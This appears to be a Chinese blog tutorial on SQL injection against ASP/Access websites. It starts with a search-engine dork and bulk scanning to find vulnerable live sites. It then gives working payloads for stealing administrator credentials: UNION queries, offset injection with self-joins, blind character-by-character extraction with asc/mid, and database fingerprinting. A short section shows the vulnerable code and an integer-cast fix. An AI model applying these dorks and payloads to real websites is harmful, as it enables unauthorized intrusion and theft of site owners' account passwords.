Access注入原理与应用

一、查找可能具有注入漏洞的页面
使用搜索引擎搜索:inurl:asp?id=

可以使用url采集工具快速找到大量此类页面,然后导入cms扫描工具分析漏洞。工具内置了大量常见cms漏洞,本文阐述人工注入。

二、寻找判断注入点
点击上一步的结果,进入网站到新闻或产品页面,将形如id=50的参数后加’、/看是否报错,加+0,-0看是否返回正常。

在参数后加’返回错误

加and 1 =1 等sql语句返回被拦截
加’报错,加+0或and 1=1之类的sql语句能返回正常,说明该页面能通过参数传入sql命令,即存在注入漏洞。

三、漏洞产生原因

<%
id=Request.QueryString("NewsID")    //获取页面传入的newsID
sql="select * from news where ID="&id   //未经过滤直接放入sql语句执行
set rs=conn.execute(sql)
if rs.eof then
ShowMessageClose("找不到该新闻")
response.end
end if  %>

上述代码即漏洞产生处,可以发现传入的newsid参数未经任何处理就放入了sql执行。只要对id稍作处理,如转为整形,也无法被注入。
id=int(Request.QueryString("NewsID")),此时id=50 and 1=1将产生500错误,因为类型转换失败。
一般的,我们可以写一个处理注入的页面或函数,然后每个页面调用。

处理注入的页面,每个页面引入即可避免注入
四、漏洞利用
为了方便的构造url,我们使用火狐的插件mantra来实施注入。
测试源码:ftp://assdd.cn/资源/access注入练习站.zip 【自行下载搭建】

【1】union联合查询注入
本次使用的注入点为:

该注入点在网站源码中对应的sql语句:
"select * from news where id="&id

注入攻击的目的是拿到后台账号密码,所以要分析如何利用注入点把管理员表中的账号密码字段查询出来并显示到页面上。上述语句读取了news表的所有字段并显示,要让该sql读取管理员表,需要利用union联合查询来把管理员表合并到news的查询结果中,此为联合查询注入的核心。
1、那么怎样得到管理员表的表名呢?
可以使用and exists(select * from admin)来判断是否存在admin表。通常管理员是在这个表中的,你也可以根据网站使用的cms来判断。另外,这句话是工具爆破表名的原理,爆破工具著名的有pangolin(中文:穿山甲)、明小子、阿D。

Pangolin爆破数据库结构假设本次实验得到的管理员表为:admin。

2、得到news表的字段数量
联合查询语法:select * from a union select * from b
要求:a表与b表查的字段要相等,否则语句报错。
那么,我们应该先得到news表的字段数量。在sql中,使用order by 1可按照第一列排序,order by n即可按第n列排序。在n大于实际列数时,sql报错。故我们可通过order by n来判断news表有几列。
本实验中,order by  11 报错,order by 10返回正常,所以news表有10列。

通过order by获取表列数
3、使用union,合并admin表
得到news表的列数,我们就需要admin的查询返回相同的列数来合并查询结果。一般的,admin表字段数不会与news的相等,此时可使用下面的语法来构造任意数量的字段。
Select * from news union select 1,2,3,4,... from b
...处可以有任意长度的数字。Select 1 from 表,返回的结果为:

1是常量,返回结果为1行1列,列名expr1000,值1。也就是说,select 1可以返回1列,select 1,2即返回两列,因此可以构造出任意的列数。Select 1,2,3...也可以用select 1,1,1...。而我们写成1,2,3是为了区别列序号和回显位置。

用mantra生成union查询
4、确定回显位置
回显位置就是select出来的数据在页面上要有所展示,不然查询出来也看不到。这也是用union注入的条件。

两个显位,之前是显示标题和内容的,这说明标题和内容在news表中位于第2、第3列。关键的是,2,3列是页面上可以显示的字段,故我们修改2、3列为admin中真实的字段即可显示在页面中。
SELECT * from news where id=197 UNION SELECT 1,admin,password,4,5,6,7,8,9,10 from admin这句联合查询后,返回的结果如下:

可见我们需要的admin表内容已经排在结果的第一条了,所以页面中默认也读取第一条,此时如果页面读取的是最后一条,那我们可把news的id改为不存在的,让结果只有admin表的内容。

5、确定列名
找到了显位,如何确定admin表中的账号与密码字段呢,如果运气好,可以直接试试常见的字段,如admin、username、password之类的。同样,可以用语句判断字段是否存在。
and exists(select password from admin):若不报错则password字段存在于admin表。这也是工具爆破字段名的原理。

若知道账号、密码字段,可直接显示在页面
【2】偏移注入
之前的步骤中,如果不知道列名,我们也可以使用偏移量注入来将需要的列显示出来,而不指定其列名。
本次实验我们选择产品页的注入点,假设已知表名为product。
/PRODUCT_DETAIL.asp?id=1513
通过order by已确定,product表有22列。使用union注入,发现页面回显位显示的是3和15列,假设现在不知道账号、密码的字段名称。

即可使用偏移注入:
PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
第一步,将数字从后方开始逐个用*代替。如:
PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin
这句sql返回列数为21列加上admin里的列数,若总列数等于product表的列数则页面返回正常,否则报错列数不匹配。

我们依次向前删除一个数字,直到页面返回正常。经测试,下列语句返回正常。
PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin
此时,可得知admin表的列数为product表的列数22减去16,也就是6列。

第二步,修改admin表的查询:
PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from (admin as a inner join admin as b on a.id = b.id)
Inner join是偏移注入的关键,其为内连接表。这里我们把admin表自己作为两个表连接,这样*就是代表的两个admin表的列数,即12列,于是数字还需要删除6个来保持union列数一致。

可见,admin表字段重复了两次。这样就提高了所需字段在回显位置展示出来的机会。

通过偏移,已将管理员添加日期显示出,而我们是不知道这个字段的名称的。

第三步,如果还是未能显示,还可以修改语句:
PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id = b.id)
在*之前增加a.id、b.id并不会影响返回列数量,因为a.id、b.id本来就存在于*的返回列中,而这样却可以改变返回列的顺序,以实现列偏移。这句话可回显出admin表的另一个字段(实为管理员登录次数)。

第四步,二次偏移。
如果之前还是未能显示出有用的字段,还可以再次inner join,将admin表重复3次,同时数字就应该再减去6了。

【3】asc码判断
当页面无回显位时,比如登录页。我们就只能通过页面是否报错来得到信息。于是,要想得到用户名密码只能逐个判断字符,此时联合查询就无法利用了。
第一步:
News_info.asp?newsid=195 and (select len(admin) from admin)>4
使用len()函数返回admin字段第一行记录的值(本实验中就是admin)的长度。And 长度>4如果返回正常,说明账号长度大于4,可试出账号长度为5。同理,密码长度也可以试出。
第二步:
使用asc()函数把账号或密码的每一位专为ascii编码来判断是什么字符。
newsid=195 and (select asc(mid(admin,1,1)) from admin)>97
mid为vb的截取函数,和substr之类的相似,这里截取admin字段记录值的第一个字符,然后转ascii码。对照ascii码用截半法(请查询asc码表)判断出此字符的ascii码,此处第一个字符为a(ascii码为97),所以>97返回错误,>96返回正常。
再破解第二个字符:
newsid=195 and (select asc(mid(admin,2,1)) from admin)>100
解得>100报错,>99正常,则第二个字符为b。
依次解出5位字符,得账号为admin。

【4】数据库类型判断
and (select * from msysobjects)>0    返回权限不足为access数据库
and (select * from sysobjects)>0     返回正常则为MSSQL数据库

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: